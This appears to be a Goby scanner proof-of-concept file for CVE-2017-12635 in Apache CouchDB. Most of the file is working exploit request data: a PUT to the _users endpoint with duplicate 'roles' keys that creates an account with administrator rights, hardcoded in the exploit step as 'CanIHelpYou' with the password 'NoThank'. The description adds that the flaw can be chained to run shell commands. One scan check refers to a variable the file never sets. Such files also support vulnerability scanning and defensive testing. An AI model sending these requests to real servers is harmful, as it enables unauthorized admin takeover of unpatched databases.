{
      "Name": "Couchdb Add User Not Authorized CVE-2017-12635",
      "Level": "3",
      "Tags": [
            "Ultra vires"
      ],
      "GobyQuery": "app=\"APACHE-CouchDB\"",
      "Description": "Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.",
      "Product": "APACHE-CouchDB",
      "Homepage": "http://couchdb.apache.org",
      "Author": "aetkrad",
      "Impact": "",
      "Recommendation": "",
      "References": [],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "创建用户",
                  "Type": "select",
                  "Value": "CanIHelpYou:NoThank"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "PUT",
                        "uri": "/_users/org.couchdb.user:{{{str1}}}",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/json"
                        },
                        "data_type": "text",
                        "data": "                {\n                  \"type\": \"user\",\n                  \"name\": \"{{{str1}}}\",\n                  \"roles\": [\"_admin\"],\n                  \"roles\": [],\n                  \"password\": \"{{{str2}}}\"\n                }",
                        "set_variable": [
                              "str1|rand|str|32",
                              "str2|rand|str|64"
                        ]
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "201",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "org.couchdb.user:{{{r1}}}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody||"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "PUT",
                        "uri": "/_users/org.couchdb.user:CanIHelpYou",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/json"
                        },
                        "data_type": "text",
                        "data": "                {\n                  \"type\": \"user\",\n                  \"name\": \"CanIHelpYou\",\n                  \"roles\": [\"_admin\"],\n                  \"roles\": [],\n                  \"password\": \"NoThank\"\n                }",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "201",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "org.couchdb.user:CanIHelpYou",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody||"
                  ]
            }
      ],
      "PostTime": "2021-11-10 19:52:21",
      "GobyVersion": "1.8.302"
}